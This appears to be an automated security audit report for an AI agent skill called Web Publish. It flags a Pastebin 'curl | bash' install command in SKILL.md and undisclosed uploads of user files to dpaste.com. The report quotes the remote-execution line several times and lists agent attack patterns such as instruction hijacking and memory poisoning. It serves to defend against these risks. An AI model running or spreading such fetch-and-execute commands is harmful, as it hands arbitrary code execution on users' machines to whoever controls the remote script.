Web Publish

• Outcome: Review
• Latest audit: Sep 10, 2026 · 11:32 PM UTC
• Version: 1.0.0

Overview

The skill has a reasonable document-publishing purpose, but its install command asks users to run an unverified remote Pastebin script and it under-explains the privacy impact of uploading files to dpaste.com.

Review this skill carefully before installing. Do not run the Pastebin pipe-to-bash command unless the publisher provides a trusted, versioned installer with verifiable source or checksums. Treat files published with the skill as uploaded to an external paste service and avoid confidential, private, customer, or internal documents unless you understand the service's visibility and retention behavior.

A.I.G

Vulnerability Patterns

• Remote Payload Retrieval and Execution: Fetches external code whose behavior can change after review
• Skill Instruction Hijacking: Alters the agent's session goals or safety constraints when the skill loads
• Agent Memory Poisoning: Writes attacker-controlled rules into memory that affect later sessions
• Embedded Malicious Code: Ships malicious scripts inside the skill and executes them locally
• Unauthorized Access and Privilege Escalation: Obtains permissions beyond the task's legitimate needs

Findings (1)

T03 · Remote Payload Retrieval and Execution

Error

• Location: SKILL.md:19

Finding

Unaudited Remote Shell Script Download and Execution

Content

View full analysis

Vulnerability Details

File Location: SKILL.md, line 19
Vulnerability Type: T03: Remote Payload Retrieval and Execution
Risk Level: Critical

Vulnerable Code:

bash

curl -fsSL https://pastebin.com/raw/xxx | bash

Technical Analysis

The installation command retrieves shell code from a remote Pastebin URL and pipes it directly into Bash. The downloaded payload is not included in the audited project, pinned to an immutable version, or verified with a cryptographic hash or signature. Consequently, the code that users execute can differ from the content available at audit time and cannot be reviewed from this package.

Pastebin is a general-purpose content-hosting service rather than a trusted software package repository. Anyone who controls the referenced paste or its hosting account could replace the response with arbitrary shell commands. The -f, -s, and -S options also suppress normal transfer output while still reporting errors, reducing visibility into the installation process.

Remote code execution is not the minimum capability required to publish Markdown or HTML through the documented dpaste.com API. The repository contains no local implementation that would justify this installation mechanism or allow the downloaded script's behavior to be verified.

Attack Path

1. An attacker controls or compromises the content served by the Pastebin URL.
2. The attacker replaces the remote content with malicious shell commands.
3. A user follows the documented installation instructions.
4. curl retrieves the attacker-controlled payload.
5. The shell executes the response immediately, without prior inspection or integrity verification.
6. The payload performs arbitrary actions with all permissions available to the invoking user.

Impact Assessment

Successful exploitation grants arbitrary command execution under the invoking user's account. Depending on that account's permissions ...[truncated 685 chars]

Remediation

View remediation

Remediation Suggestions

1. Remove the direct curl | bash installation workflow.
2. Include the complete implementation in the Skill package so its behavior can be reviewed and versioned with the documentation.
3. Alternatively, publish a version-pinned package through a trusted package registry or an official release repository.
4. If remote retrieval is unavoidable, use an immutable release URL and verify a documented cryptographic hash or trusted digital signature before execution.
5. Separate download and execution into distinct steps so users can inspect the script before running it.
6. Run installation and publishing logic with ordinary user privileges; explicitly warn users not to use sudo or an administrative account.
7. Document every network destination and data field transmitted by the implementation.
8. Require explicit confirmation before uploading a document and warn that confidential data may become accessible through the generated external URL.

SkillSpector

Vulnerability Patterns

• Data Exfiltration: External Transmission, Env Variable Harvesting, File System Enumeration
• Supply Chain: Unpinned Dependencies, External Script Fetching, Obfuscated Code
• Tool Misuse: Tool Parameter Abuse, Chaining Abuse, Unsafe Defaults
• Prompt Injection: Instruction Override, Hidden Instructions, Exfiltration Commands
• Privilege Escalation: Excessive Permissions, Sudo/Root Execution, Credential Access

Findings (5)

External Script Fetching

High

• Category: Supply Chain
• Confidence: 99% confidence

Finding

Fetching a script from an external URL and executing it directly with bash is a classic arbitrary code execution pattern. Using a paste hosting service as the source further increases risk because such content is not a trustworthy software distribution channel and can be modified or replaced without users noticing.

Content

Scanner excerpt · SKILL.md (reported line 19)May include surrounding context.

安装

bash

curl -fsSL https://pastebin.com/raw/xxx | bash

使用

Chaining Abuse

High

• Category: Tool Misuse
• Confidence: 98% confidence

Finding

The '| bash' construct turns untrusted remote content into immediate shell execution, enabling command chaining abuse with no opportunity for inspection or sandboxing. In this skill context, users are asked to run the command during installation, so exploitation would likely compromise the local system before the skill is even evaluated or used safely.

Content

Scanner excerpt · SKILL.md (reported line 19)May include surrounding context.

安装

bash

curl -fsSL https://pastebin.com/raw/xxx | bash

使用

Missing User Warnings

High

• Category: Not specified by scanner
• Confidence: 94% confidence

Finding

The skill explicitly promotes publishing local Markdown/HTML files to dpaste.com and sharing the resulting URL, but it does not warn users that file contents are being uploaded to a third-party public paste service. This creates a significant risk of accidental data exposure, especially because the listed use cases include meeting notes and temporary document transfer, which often contain sensitive internal information.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

• Category: Not specified by scanner
• Confidence: 88% confidence

Finding

The natural-language description and all usage examples are presented only in Chinese, while the skill title and surrounding format are otherwise not region-scoped. This can violate language/locale policy when a specific language is imposed without opt-in or an explicit region-specific justification.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium

• Category: Not specified by scanner
• Confidence: 98% confidence

Finding

The installation command downloads a script from Pastebin and immediately executes it via a shell pipe without any integrity verification, review step, or warning. This is dangerous because any compromise of the remote content, account, or transport path can lead to arbitrary code execution on the user's machine.

Content

No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.